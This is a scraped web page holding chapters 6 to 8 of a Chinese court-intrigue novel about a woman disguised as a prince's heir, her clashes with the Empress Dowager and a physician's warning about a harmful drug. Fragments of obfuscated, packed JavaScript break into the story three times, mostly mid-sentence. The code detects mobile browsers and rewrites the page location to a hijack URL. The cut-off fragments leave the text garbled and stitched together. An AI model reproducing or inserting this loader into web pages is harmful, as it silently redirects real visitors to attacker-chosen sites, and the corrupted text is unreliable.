d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996007|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萨林跟在她身后,像一尊沉默的铁塔。 “忠顺王世子爷。”周谨之躬身行礼,声音干涩。 萧道煜走到他面前,打量着他,唇角勾起一丝似笑非笑的弧度:“周大人今日在殿上,似乎有话要说?” 周谨之心中一紧,连忙道:“臣……无话可说。” “是吗?”萧道煜轻笑,“吾还以为,周大人会对江南军饷案有些看法。毕竟……您是主审之一。” 这话像一根针,扎在周谨之心上。他额头渗出冷汗,低声道:“臣……只是依律办事。” “依律办事。”萧道煜重复这四个字,语气玩味,“好一个依律办事。周大人,您可知‘律’字怎么写?” 她不等周谨之回答,自顾自说道:“律,从彳从聿。彳是行走,聿是笔。合起来,就是用笔写出来的路。可这路,是给谁走的?是给百姓走的,还是给权贵走的?是公平的路,还是吃人的路?” 周谨之哑口无言。 萧道煜看着他苍白的脸,眼中闪过一丝怜悯——那怜悯很快被讥诮取代:“周大人,您是个聪明人,应该知道这朝堂是什么地方。这里没有清流浊流,只有能吃的人和被吃的人。今日张汝贞想啃一口,结果崩了牙。明日呢?后日呢?您猜,下一个被吃的会是谁?” 她说完,不再看周谨之,转身走向自己的马车。 萨林为她掀开车帘,她弯腰上车,动作有些迟缓——显然旧疾又发作了。可脊背依然挺直,像一杆永不弯折的枪。 马车缓缓驶离,消失在长街尽头。 周谨之站在原地,晨风吹过,卷起他官袍的下摆,猎猎作响。他忽然觉得,这身二品孔雀补服,重得像铁,冷得像冰。 轿夫小心翼翼地问:“老爷,回府吗?” 周谨之闭上眼,许久,才说:“回府。” 周府在城西槐花巷,是个三进的院子,不算大,但清雅。院中种了几株老槐,此时正是绿意最浓的时候,稠密的叶子在暮色里投下深深浅浅的影子,晚风吹过,簌簌作响。 他回到府中时,天色已暗。夫人王氏迎上来,见他面色不好,小心翼翼地问:“老爷,今日朝会上……可是出了什么事?” 周谨之摆摆手,没说话,径自走进书房。 王氏不敢多问,吩咐丫鬟准备晚膳,又亲自沏了茶送进去。 书房里点着灯,周谨之坐在书案后,看着墙上那幅《松鹤延年图》——那是他四十岁生辰时,同僚们送的贺礼。画上的松树苍劲,仙鹤翩跹,寓意着高洁长寿。 可如今看来,只觉得讽刺。 高洁?他配吗? 长寿?活在这吃人的朝堂上,长寿又有什么意义? 他想起白日萧道煜的话:“这里没有清流浊流,只有能吃的人和被吃的人。” 是啊,这朝堂就是一张巨大的餐桌,上面摆满了珍馐美味——权力、财富、名声。而他们这些官员,就是坐在桌边的食客。有人吃得多,有人吃得少,有人吃相好看,有人吃相难看。但本质上,都是在吃。 吃百姓的血肉,吃国家的根基,吃……自己的良心。 “老爷,”王氏轻轻推门进来,将茶放在案上,“用些茶吧,晚膳已经备好了。” 周谨之抬起头,看着妻子担忧的脸。王氏是他发妻,陪他走过三十年风风雨雨,从寒门书生到二品大员,从未有过怨言。可如今,他却不敢看她的眼睛。 “夫人,”他忽然问,“你说,我……我是个好人吗?” 王氏一怔,随即笑了:“老爷怎么问起这个?您为官清正,爱民如子,当然是好人了。” “清正?爱民如子?”周谨之苦笑,“夫人,你可知今日朝会上发生了什么?” 他将白日的事细细说了。说到萧道煜挥鞭击碎张汝贞梁冠时,王氏惊得捂住了嘴;说到皇帝沉默以对时,她眼中闪过深深的忧虑。 “老爷,”她握住丈夫的手,那手冰冷,还在微微发抖,“这朝堂……太险恶了。要不……咱们辞官吧?回老家去,种几亩地,教几个学生,过安生日子。” 周谨之看着妻子,眼中泛起泪光。他何尝不想?何尝不想离开这是非之地,回江南老家,看小桥流水,听雨打芭蕉? 可他能走吗? 他是大理寺卿,是朝廷二品大员,知道太多秘密,牵扯太多利益。辞官?那等于自绝于朝堂,等于告诉所有人:我要掀桌子了。 到时候,等着他的不是归隐田园,而是灭门之祸。 “走不了的。”他轻声道,声音里满是疲惫,“上了这条船,就只能一直划下去。要么划到对岸,要么……船沉人亡。” 王氏落下泪来:“那……那可怎么办?” 周谨之沉默许久,缓缓道:“从今往后,少说话,多磕头。不该看的不看,不该听的不听,不该管的不管。这朝堂……已不是讲道理的地方了。” 他站起身,走到窗前。窗外夜色沉沉,初夏的夜空中隐约可见几颗星子,却照不亮这无边的黑暗。 “夫人,”他背对着妻子,声音低得像自语,“你说,这大雍的江山,还能撑多久?” 王氏不敢答。 周谨之也不需要她答。他看着窗外,眼前仿佛又浮现出萧道煜那双琥珀金色的眼睛——冰冷,讥诮,却又好像藏着别的什么。 是绝望?是疯狂?还是……同归于尽的决绝? 吃人。 这两个字像鬼魅,在他心头萦绕不去。 他闭上眼,仿佛看见自己坐在那张巨大的餐桌旁,手里拿着刀叉,面前摆着一盘血肉模糊的东西。他颤抖着,想放下刀叉,可周围的人都在吃,吃得满嘴流油,吃得兴高采烈。 不吃,就会饿死。 吃了……就会变成怪物。 “老爷,”王氏的声音将他拉回现实,“用膳吧,菜要凉了。” 周谨之睁开眼,转过身。烛光跳跃,在他脸上投下深深浅浅的阴影。 “好。”他说,声音平静得可怕,“用膳。” 他走出书房,走向花厅。脚步沉稳,面容平静,仿佛刚才那些挣扎、那些痛苦,都不曾发生过。 只有他自己知道,心里某个地方,已经死了。 死在这金殿鞭声里,死在这饕餮之地。 7. 第 7 章 慈宁宫十二扇雕花槛窗皆敞开着,却透不进多少风,只有黏腻的热气从庭院里漫进来。廊下铜鹤口中不再吐烟——初夏已撤去了熏香,只余那铜铸的禽鸟静默伫立,喙尖凝结着晨露,在渐亮的天光里闪着微光。 暖阁里门窗微敞,四角的冰鉴已摆上,大块的冰在铜鉴中缓缓融化,散发丝丝凉意。但这凉意敌不过渐起的暑气,空气里仍带着三分慵懒的闷热。 太后斜倚在东窗下的紫檀木榻上,身下铺着象牙簟,背后垫着青鸾引枕。她今日着了件绛紫缠枝牡丹纹薄绸大衫,滑落半肩,露出内里云锦袷纱衫上暗绣的百鸟朝凤图——金线银线交缠,在晨光里明明灭灭,恍若那些凤鸟随时要振翅破云而去。 可她终究飞不出去。 就像这慈宁宫,看着尊荣无比,实则是镀金的囚笼。 太后是先帝的继后,永熙帝的嫡母,今年刚过四十,保养得宜,面容仍残留着年轻时的绝色。尤其一双丹凤眼,眼尾微吊,看人时总带着三分审视,七分疏离。 此刻,她正拨弄着手中的象牙柄纨扇。那扇子不过巴掌大小,却做得极精致,扇面绣着岁寒三友纹——松竹梅交缠,枝桠嶙峋,在晨光映照下泛着细腻的光泽。麂皮护甲掠过绣纹,发出极轻的沙沙声,像毒蛇游过草丛。 “太后,”贴身宫女秋月轻声道,“世子到了。” 太后眼皮都没抬:“传。” 暖阁的门开了,一阵带着草木气息的热风裹着个人影进来。 许是走得急,她唇色比平日更浅,几乎与肤色融为一体,唯独那双琥珀金色的眼睛,在暖阁渐亮的光线里亮得灼人。 她走到榻前五步处,停下,躬身行礼:“臣萧道煜,参见太后。” 声音清冷,像夏日井中刚汲上来的凉水。 太后终于抬起眼,打量着她。目光从发梢扫到鞋尖,一寸一寸,像在评估一件器物。许久,她才开口,声音温软得有些刻意:“起来吧。天渐热了,难为你跑这一趟。” 萧道煜直起身,垂手肃立:“太后召见,是臣的荣幸。” “坐。”太后指了指榻前的竹编凉墩。 萧道煜依言坐下,脊背挺得笔直,像一杆随时会绷断的弓。 宫女奉上茶来,是今春新贡的碧螺春。茶汤澄碧,热气袅袅,在两人之间隔开一道朦胧的屏障。太后端起茶盏,用盖儿轻轻拨着浮叶,却不喝,只看着萧道煜:“近日身子可好些了?听说前些日子又咳血了?” “劳太后挂心,已无大碍。” “无大碍就好。”太后放下茶盏,叹了口气,“你父亲也真是,明知你身子弱,还让你担着北镇抚司那么重的差事。本宫劝过他几次,他总是说你能干,能者多劳——可再能干,也得顾惜身子不是?” 这话说得关切,可字字都像裹着蜜的针。萧道煜垂着眼帘,不动声色:“臣年轻,理应替父分忧。” “年轻……”太后重复这两个字,眼中闪过复杂的神色。她看着萧道煜这张脸——这张继承了萧家所有优点,美得惊心动魄的脸。二十年前那个雨夜,李氏抱着刚出生的“世子”进宫请安时,她也在场。那时她刚入宫不久,还是个不起眼的嫔妃,看着襁褓中那个粉雕玉琢的婴儿,心中满是羡慕——羡慕李氏有个儿子,羡慕忠顺王府后继有人。 太后收回思绪,脸上重新挂起温和的笑:“说到顾惜身子,本宫今日叫你來,正是为此。” 她拍了拍手。 暖阁西侧的黄绫帘子动了动,转出两个宫女。皆穿着月白比甲,下着藕荷色薄绸襦裙,发髻梳得一丝不苟,簪着统一的银簪。两人低眉敛目,步履轻悄,走到榻前,齐齐福身:“奴婢参见太后,参见世子爷。” “起来吧。”太后指了指左边那个,“这是檀云,尚寝局出来的,最会调理身子。”又指右边那个,“这是双瑛,原在御膳房当差,做得一手好药膳。” 萧道煜看着这两个宫女,心中一片冰冷。 檀云生得清秀,眉眼温顺,手中捧着一个缠丝玛瑙盘,盘里盛着暗红色的膏体——是御制的灵芝膏,最是补气养血。双瑛圆脸杏眼,模样讨喜,端着个雕漆攒盒,盒盖掀开一角,露出里头金光闪闪的物事——竟是一套赤金打造的合卺酒器,杯盏相连,寓意永结同心。 这是赐宫女? 灵芝膏补身,合卺酒器催情。表面上体贴周到,实则羞辱至极。 萧道煜藏在袖中的手攥紧了,指甲深深陷进掌心。可面上依然平静,甚至还扯出一丝笑:“太后厚爱,臣愧不敢当。” “有什么不敢当的?”太后笑道,“你今年也二十了,身边连个知冷知热的人都没有。你父亲不管,本宫这个做祖母的,总不能看着你孤零零的。这两个丫头都是妥当人,让她们跟着你,照顾起居,本宫也放心。” 她顿了顿,语气意味深长:“尤其是夜里……总要有人值夜,端茶递水,才方便些。” 夜里。 值夜。 端茶递水。 每个词都像淬了毒的针,扎在萧道煜心上。她几乎能想象,这两个宫女被安插进缀锦轩后,会如何“照顾”她——监视她的一举一动,探查她的秘密,甚至……在她“不便”的时候,发现些什么。 绝不能。 “太后,”她起身,跪地,“臣身子孱弱,太医嘱咐需静养,不宜有人打扰。且北镇抚司公务繁忙,臣常要夤夜办公,有外人在,恐有不妥。” “有什么不妥?”太后语气转冷,“莫非世子……有什么见不得人的事,怕人知道?” 暖阁里静了一瞬。 窗外传来知了初试的鸣叫,一声长,一声短,在这寂静中格外刺耳。 萧道煜抬起头,看着太后。琥珀金色的眼睛里有什么在流动——是愤怒?是屈辱?还是……杀意? 可最终,她只是垂下眼帘:“臣不敢。” “不敢就好。”太后重新露出笑容,“那就这么定了。檀云,双瑛,你们今日便随世子回府。好生伺候着,若有怠慢,仔细你们的皮。” “奴婢遵旨。”两个宫女齐声应道,声音清脆得像银铃。 萧道煜仍跪在地上,垂着头。玄色衣袍铺在象牙簟上,像一片烧焦的羽翼。许久,她才缓缓起身,声音干涩:“臣……谢太后恩典。” “去吧。”太后摆摆手,像是累了,“天渐热了,路上慢些。” 萧道煜躬身退出暖阁。 门关上的那一刻,太后脸上的笑容瞬间消失。她靠在引枕上,闭上眼,眉宇间满是疲惫。 暖阁西侧的缂丝山水屏风后,转出一个人。 那人约莫五十出头,穿一身石青江崖海水纹薄绸常服。面容清癯,鬓角已见霜色,但一双眼睛锐利如鹰,看人时总带着三分审视,七分算计。 正是太上皇景明帝。 他走到榻前,在太后方才的位置坐下,顺手拿起那柄象牙纨扇,在手中把玩。扇柄还残留着太后的体温,温温热热的,像某种不祥的预兆。 “如何?”太上皇开口,声音低哑,像沙砾摩擦。 太后睁开眼,眼中已无半分疲惫,只剩一片冰冷:“如你所料,不肯收,但不敢不收。” “不敢不收就好。”太上皇嗤笑,“忠顺王这支若不断根,皇帝夜里可敢阖眼?” 太后没接话,只看着窗外。庭院里的石榴花开得正盛,红艳艳的,在晨光里像一簇簇燃烧的火。可那火是静的,死的,烧不暖这深宫的阴冷。 “你说,”她忽然问,“那孩子……知道我们知道吗?” 太上皇拨弄着纨扇上的岁寒三友纹,指尖在松针绣纹上停留片刻:“知道又如何?不知道又如何?她是个聪明人,知道该怎么做。” “聪明?”太后笑了,笑意苍凉,“太聪明了,反而危险。你看她今日的眼神——那是困兽的眼神。困兽犹斗,何况是只……快要疯了的兽。” 太上皇不以为然:“再疯的兽,也是猎鹰走犬,该驯服于主,忠诚不渝。” “忠诚?”太后转头看他,眼中满是讥诮,“这皇家,哪有什么忠诚?不过是利益罢了。” 这话说得直白,太上皇脸色一沉,却没反驳。因为她说的是事实。 他是先帝的第三子,母亲是不得宠的嫔妃。他能登上皇位,靠的不是嫡长,而是算计——算计兄弟,算计朝臣,甚至算计父亲。忠顺王萧善钧是他一母同胞的弟弟,年轻时也曾兄友弟恭,可权力就像毒药,尝过一口,就再也戒不掉。 他退位给儿子永熙帝,不是心甘情愿,是不得已。朝中势力错综复杂,新帝需要立威,需要培植自己的势力。他退居幕后,看似放权,实则仍在暗中操控——通过旧臣,通过眼线,通过……像萧道煜这样的刀。 “皇帝最近动作不少。”太后换了个话题,“借着萧道煜的手,打压清流,整顿盐政,又暗中扶持寒门官员。看样子……是想彻底清洗朝堂。” 太上皇冷哼一声:“年轻人,总想着破旧立新。可他忘了,这朝堂就像一棵老树,根须盘结,牵一发而动全身。真要连根拔起,树倒了,底下那些东西……可就藏不住了。” “什么东西?” 太上皇没答,只看着冰鉴里渐渐融化的冰。水珠顺着铜鉴壁滑下来,滴在托盘中,发出轻微的滴答声。 许久,他才缓缓道:“江南军饷亏空案,盛文谦被斩,盛家女眷没入教坊司——这件事,你可还记得?” 太后一怔:“自然记得。那案子不是你亲自督办的吗?” “是我督办的。”太上皇笑了,笑意森冷,“可盛文谦,真是主谋吗?” 太后脸色一变。 “军饷从户部拨出,”太上皇一字一顿,“到江南大营,经手的有三十六人。盛文谦不过是个从四品的转运使,他一个人,吞得下这么多?” “你是说……” “我说什么不重要。”太上皇打断她,“重要的是,这案子结了,盛文谦死了,剩下没有追回的军饷去哪去了?你猜猜。” 太后不敢猜。 有些事,不知道比知道好。 “皇帝现在查盐政,”太上皇继续说,“查着查着,难免会查到旧账。到时候,牵出萝卜带出泥,当年那些人……还能坐得住吗?” 他站起身,走到窗前。晨光透过窗纱,在他脸上投下斑驳的光影。 “这朝堂啊,”他轻声道,“就像一池浑水。你以为皇帝在澄清,实则是把底下的淤泥都搅起来了。等泥水翻腾,谁干净,谁脏,可就藏不住了。” 太后坐在榻上,看着丈夫的背影。那个背影挺拔,威严,却也孤独得像一座孤峰。 她忽然想起很多年前,他还是三皇子时,偷偷溜出宫,带她去城南看花灯。那时他还年轻,眼中还有光,还会对着满街灯火说:“等我当了皇帝,定要让天下百姓都过上这样的好日子。” “陛下,”她轻声唤道,用只有两人能听见的声音,“我们……是不是做错了太多事?” 太上皇转过身,看着她。晨光在他脸上跳跃,明明灭灭,看不清表情。 许久,他才开口,声音低得几乎听不见:“这深宫里,没有对错,只有输赢。” 说完,他推门而出。 热风灌进来,吹散了冰鉴带来的些许凉意。 太后坐在榻上,看着那扇晃动的门,忽然觉得闷。不是身上的闷,是心里的闷,闷得她几乎喘不过气。 她拿起纨扇,轻轻摇着。扇出的风是热的,怎么也驱不散这黏腻的窒息感。 窗外,知了的叫声更响了。 萧道煜走出慈宁宫时,日头已经升起来了。 不是盛夏的毒日头,是初夏那种温吞吞的热,裹着湿气,黏在人身上,像一层揭不掉的膏药。宫道上的青石板被晒得微微发烫,踩上去,热气透过薄靴底渗上来。 檀云和双瑛跟在她身后,各撑着一把油纸伞。伞是宫制,淡青底子描银边,在日光下像两片脆弱的荷叶。 萨林等在宫门外,见萧道煜出来,连忙迎上。 看见萧道煜身后的两个宫女,他绿眸一凝,但什么也没说,只默默接过世子手中的扇子——那扇子早在慈宁宫暖阁里就忘了摇。 马车已在等候。是北镇抚司的制式车驾,黑漆车厢,无任何装饰,朴素得与这宫城的奢华格格不入。 萧道煜上车时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这就是她守护的江山。 这就是她效忠的朝廷。 那日她在永安伯府说的话,如今想来,何其讽刺。她自己,不也是这朱门中的一员?不也吃着民脂民膏,穿着绫罗绸缎? 甚至比他们更不堪。 至少他们是真的男子,是真的世子。而她,是个不男不女的怪物,是个活在谎言里的傀儡。 “呵……”她忽然笑了,笑得肩膀颤抖,笑得眼泪都流出来。 可那泪也是热的,流过脸颊,像滚烫的油。 马车在北镇抚司衙门前停下。 萧道煜掀帘下车,热浪扑面而来,呛得她咳嗽起来。她用手捂住嘴,咳得撕心裂肺,指缝间渗出暗红的血丝。 “世子!”萨林上前扶住她。 “没事……”她摆摆手,用手帕擦去血迹。 檀云和双瑛撑伞上前,想要搀扶,却被萨林一个眼神挡了回去。那眼神太冷,太凶,像草原上的狼,让两个宫女下意识后退半步。 萧道煜推开北镇抚司的大门。 衙内门窗大开,却闷热依旧——砖石建筑在夏日里积蓄的热气,到了午后才会缓缓散发。今日休沐,只有几个值夜的守卫。见她进来,守卫们连忙行礼:“大人!” “都退下。”萧道煜摆摆手,径自往值房走去。 萨林跟在她身后,寸步不离。檀云和双瑛也想跟上,却被守卫拦在门外:“二位姑娘,请止步。” “我们是太后赐给世子爷的……”檀云急道。 “北镇抚司重地,”守卫面无表情,“非诏不得入。” 两个宫女面面相觑,只得在门外候着。 值房里,萧道煜坐在书案后,看着桌上堆积如山的卷宗。这些都是待办的案子——贪污,受贿,谋逆,人命……每一本都沾着血,每一页都写着罪。 她随手翻开一本,是扬州盐案的最新进展。盐运使佐官吴税澄已招供,牵扯出七位朝中大臣,其中三位是清流领袖,两位是勋贵之后。 这本折子递上去,朝堂又要地震。 可那又如何?倒了一批,还会起来另一批。这朝堂就像个烂疮,剜掉一块腐肉,很快又会长出新的。永远剜不干净,永远在流脓。 她忽然觉得累,从未有过的累。累得她连笔都提不动,累得她只想闭上眼睛,永远不再睁开。 “世子。”萨林的声音响起,带着不易察觉的担忧,“您该歇息了。” 萧道煜抬起头,看着他。日光透过窗棂,在那张昳丽的脸上投下格栅状的阴影。许久,她才开口,声音轻得像叹息:“萨林,你说……人为什么要活着?” 萨林一怔,不知如何回答。 萧道煜也不需要他回答。她站起身,走到窗前,推开窗。热风裹着尘土的气息灌进来,吹动了桌上的卷宗。 她看着窗外白花花的日光,看着被晒得发蔫的树叶,看着这死寂的街巷。 许久,她轻声说:“有时候我在想,若我死了,这世上会有谁为我哭?” 萨林单膝跪地:“卑职会。” “还有呢?” 萨林沉默。 萧道煜笑了,笑意苍凉:“是啊,还有谁呢?父亲?母亲?还是……那些恨不得我早死的仇敌?” 她转过身,看着萨林:“起来吧。” 萨林起身,看着她,绿眸中满是痛楚。 “萨林,”萧道煜缓缓道,“若有一日我死了,你便离开京城,回你的草原去。那里天高地阔,适合你这样的鹰。” “卑职不走。”萨林声音斩钉截铁,“世子在,萨林在。世子死,萨林绝不独活。” “傻话。”萧道煜摇头,“活着,比死更需要勇气。” 她重新坐回书案后,拿起笔,翻开折子。笔尖蘸了墨,落在纸上,一笔一画,工工整整。 像个没有灵魂的傀儡,在演最后一场戏。 窗外的知了,叫了一整个午后。 8. 第 8 章 五月初八,芒种后。 忠顺王府的缀锦轩里,门窗半敞着,却透不进多少风,只有黏腻的热气从庭院里漫进来。窗外的石榴花开得正盛,红艳艳的,在日光下像一簇簇燃烧的火,可那火是静的,死的,烧不暖这深宅里的阴冷。 屋里摆着冰鉴,大块的冰在铜鉴中缓缓融化,散发丝丝凉意。但这凉意敌不过渐起的暑气,空气里仍带着三分慵懒的闷热。 萧道煜躺在紫檀木雕花拔步床上,身上只盖着一层薄绸单被——淡青色的杭绸,绣着疏疏的竹叶,轻得几乎没什么分量。可她还是觉得浑身发冷,从骨头缝里透出来的冷,任多少冰鉴也驱不散。 床前只跪着一人——太医院院判斐兰度。他面容清癯,眉眼冷峻,三根手指搭在萧道煜腕上,闭着眼,像在听什么极细微的声音。许久,他睁开眼,琥珀色的瞳仁在透过窗纱的日光里冷得像冰。 “你们都出去。”他开口,声音不高,却带着不容置疑的威仪。 王妃李氏咬了咬唇,挥手屏退众人。丫鬟婆子们鱼贯而出,连萨林也被拦在门外——只有伊凡还站在床尾,垂手肃立,像一尊沉默的石像。 斐兰度看了他一眼:“你也出去。” 伊凡没动,只抬眼看向萧道煜。床上的“世子”面色惨白如纸,嘴唇干裂,已有些神志不清,却还是强撑着睁开眼,对他点了点头。 伊凡这才躬身退下,走到门外,与萨林一左一右守着。两个男人对视一眼,眼中都闪过复杂的情绪——是敌意?是戒备?还是同病相怜的担忧? 屋里只剩斐兰度与萧道煜二人。 斐兰度走到床前,俯身,掀开萧道煜的衣袖。那截手腕纤细得不盈一握,皮肤苍白得近乎透明,底下青色的血管清晰可见。可再往上,肘窝处却有一片暗紫色的瘀痕,新旧交错,触目惊心。 “这是第几次了?”斐兰度问,声音依然冷,却多了几分不易察觉的……怒意? 萧道煜别过脸,没说话。 斐兰度也不追问,从药箱里取出一套银针。针细如牛毛,在透过窗纱的日光下泛着冷硬的光。他拈起一根,在萧道煜腕上某处轻轻一刺。 一滴黑血涌出来,落在雪白的帕子上,像一朵凋零的墨梅。 “阳关三叠,”斐兰度看着那滴血,缓缓开口,“这药你吃了多久了?” 萧道煜浑身一僵。 “三年?五年?”斐兰度冷笑,“难怪气血亏虚至此。世子可知,这‘阳关三叠’是什么东西?” 他不等回答,自顾自说道:“方子我查过。以附子、乌头为君,肉桂、干姜为臣,佐以麝香、冰片——看着是壮阳固本的大补之药,实则是虎狼之剂。短时能激发元气,压制阴气,让你看起来像个‘真男子’。可日久……便是饮鸩止渴。” 他顿了顿,一字一顿:“这是在催你的命。” 床幔里的呼吸声忽然急促起来。 萧道煜转过头,看着他,琥珀金色的眼睛里满是血丝,像困兽最后的挣扎:“那又如何?” “如何?”斐兰度收起银针,用帕子擦净萧道煜腕上的血,“世子是想问,还能活多久?” 萧道煜闭上眼,许久,才轻声说:“先生直言便是。” “若继续服用此药,以你如今的身子骨……”斐兰度停顿片刻,声音里透出医者的凝重,“活不过十年。” 十年。 两个字,像一块沉重的石头,投入死寂的水面。 萧道煜睁开眼,眼神空茫地望着帐顶绣着的云纹。十年,说长不长,说短不短。够她做完许多事,也够她看着自己一点点枯萎。 “知道了。”她轻声说,语气平静得可怕,像在说明日吃什么菜。 斐兰度看着她,眼中闪过一丝复杂的情绪。他在太医院多年,见过太多权贵,太多秘辛,早就练就了一副铁石心肠。可眼前这个人……不一样。 不是因为她美,不是因为她尊贵,而是因为她身上那种近乎自毁的清醒。明明知道是毒药,明明知道会折寿,却还是要吃,还是要演下去。 “值得吗?”他忽然问。 萧道煜睁开眼,看着他:“先生以为呢?” 斐兰度没说话,只从药箱里取出一个青瓷小瓶,放在床头:“这是我配的药,一日三次,温水送服。能缓解疼痛,温养气血,但不能根治——你这病,根子在心上。” 心病。 两个字,像针一样扎进萧道煜心里。她猛地咳嗽起来,咳得撕心裂肺,整个人蜷缩成一团,像一只受了伤的兽。 斐兰度上前,轻轻拍着她的背。那动作出人意料的温柔,与他一贯的冷峻判若两人。 等咳声渐止,他才开口,声音低得像耳语:“世子,十年光阴,说长不长,说短不短。若及时停药,好生调理,未必没有转机。” 萧道煜伏在枕上,喘着气,许久,才哑声道:“多谢先生。药……我收下了。” 这便是婉拒了。 斐兰度不再劝。他收拾好药箱,起身,走到门口,又停下脚步,回头看了一眼。 床幔低垂,遮住了那个单薄的身影。只有一只手露在外面,苍白,纤细,攥着薄被的边缘,指节发白,像在抓住最后一点生机。 可那生机,也是假的。 就像这满室的凉意,这轻薄的衾被,这尊贵的身份——都是假的。 真的,只有这病,这痛,这……倒计时的十年。 斐兰度推门而出。 门外,热风扑面。 五月的午后,日头正毒。才申时三刻,日光依然炽烈。廊下挂着的竹帘半卷着,透进斑驳的光影,将人的影子投在地上,拉长,扭曲,像一个个鬼魅。 斐兰度刚出缀锦轩,便被两个人拦住了去路。 左边是萨林,玄色薄绸劲装,按刀而立,绿眸在炽白光线里闪着警惕的光。右边是伊凡,月白薄绸锦袍,面容温润,眼神却冷得像冰。 “斐太医,”伊凡开口,声音温和有礼,“世子如何了?” 斐兰度看了他一眼,没答,径自往前走。 伊凡脚步一移,拦在他面前:“太医还没回答。” 语气依然温和,可那姿态,却是明明白白的阻拦。 斐兰度停下脚步,打量着他。伊凡生得极好,眉目如画,气质温润,像个世家公子,而非王府家奴。可那双眼睛……太深,太暗,藏着太多不该有的东西。 “伊佥事是在以什么身份问我?”斐兰度淡淡道,“北镇抚司的佥事,还是……世子的贴身侍卫?” 这话问得刁钻。伊凡脸色微变,却很快恢复如常:“都是。” “都是?”斐兰度笑了,笑意冰冷,“那若我说,世子沉疴难愈,寿数有损,伊佥事打算如何?是上报朝廷,还是……另作打算?” 这话说得含蓄却犀利。伊凡面色不变,声音却沉了下来:“斐太医此言何意?” “何意?”斐兰度往前一步,逼近伊凡,声音压得很低,“那‘阳关三叠’的方子,伊佥事可曾见过?” 伊凡瞳孔骤缩。 “看来是见过了。”斐兰度捕捉到他眼中一闪而过的慌乱,心中了然,“那伊佥事可知,这药是谁让世子吃的?是王妃,还是王爷?或者……是宫里那位?” 每问一句,伊凡的脸色就白一分。 到最后,他几乎站立不稳,扶着廊柱才稳住身形。 “斐太医,”他声音发颤,“有些话……不该说。” “不该说?”斐兰度冷笑,“是不该说,还是不敢说?伊佥事,你跟在世子身边多年,看着她吃毒药,看着她束胸缠腰,看着她一点一点把自己熬干——你就没想过,救她?” “我……”伊凡张了张嘴,却一个字也说不出来。 救她? 怎么救? 告诉全世界她是女子?那等于把她推上绝路。让她停药?那身份暴露,一样是死。带她走?普天之下莫非王土,能走到哪里去? 这根本是个死局。 无解的死局。 “伊佥事,”斐兰度看着他苍白的脸,眼中闪过一丝怜悯——那怜悯很快被讥诮取代,“你这个人,很有意思。明明心比天高,却命比纸薄。明明痴心一片,却连说出来的勇气都没有。你说,你这病……该怎么治?” “病?”伊凡怔住。 “心病。”斐兰度一字一顿,“求不得,放不下,爱不能,恨不敢——这不是心病是什么?” 他顿了顿,语气意味深长:“心病还需心药医。可伊佥事的心药……怕是一辈子也吃不到了。” 说完,他不再看伊凡,转身走向廊外。 萨林跟了上去,在拐角处停下,低声道:“斐太医,世子她……” “若继续用药,寿不过十年。”斐兰度打断他,声音平淡得像在说今日天气,“除非有转机。” “转机?”萨林绿眸中燃起一丝希望,“什么转机?” 斐兰度停下脚步,回头看了他一眼。这个异族侍卫生得高大威猛,眼神却单纯得像草原上的狼——认准了一个主人,便至死不休。 “转机就是,”斐兰度缓缓道,“有人愿意为她,挣出一条生路。” 萨林浑身一震。 斐兰度不再多说,提着药箱,消失在炽白的日光里。 廊下,只剩伊凡一人。 他靠在柱子上,仰头看着白花花的天空。没有云,没有风,只有无边无际的炽热,像一张巨大的网,将他牢牢罩住。 斐兰度的话还在耳边回荡。 “心病还需心药医。” “怕是一辈子也吃不到了。” 是啊,吃不到。 因为他要的,从来就不是药。 他要的是那个人。那个从七岁起就刻在他心上的人,那个美得惊心动魄也破碎得令人心惊的人,那个……永远不可能属于他的人。 伊凡闭上眼,想起很多年前,那个初夏的午后。 那时他还小,刚进府不久,跟在母亲身边学规矩。世子那年八岁,穿着一身杏黄薄绸箭袖,在花园里练剑。阳光透过石榴树的枝叶洒下来,在她身上投下斑驳的光影。她练得认真,额上沁着细汗,脸颊泛着淡淡的红晕,像枝头初绽的石榴花。 他躲在假山后偷看,看得入了神。 忽然,世子脚下一滑,眼看要摔倒。他不知哪来的勇气,冲出去扶住她。两人跌坐在地,世子手中的木剑掉在一旁。 那是他第一次离她那么近。近到能闻到她身上淡淡的药香,能看清她睫毛上细碎的阳光,能感觉到她手腕的纤细与冰凉。 世子看着他,琥珀金色的眼睛里闪过一丝惊讶,随即笑了:“你是张嬷嬷的儿子?” 他点头,心跳如鼓。 “你叫什么名字?” “伊……伊凡。” “伊凡。”世子念着这个名字,眉眼弯弯,“好听。以后……你就跟着我吧。” 从那以后,他就成了她的影子。 十三年,四千七百多个日夜。他看着她在北镇抚司里杀伐决断,看着她在朝堂上挥鞭碎冠,看着她一日比一日苍白,一日比一日破碎。 他也一日比一日痴,一日比一日疯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996009|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道不该,知道不能,知道这是死路。 可心不由己。 就像飞蛾扑火,明知会焚身,还是义无反顾。 “伊佥事。” 一个轻柔的声音将他从回忆中拉回。 伊凡睁开眼,看见檀云站在不远处。这个太后赐来的宫女穿着一身月白比甲,手里端着药盘,正温顺地看着他。 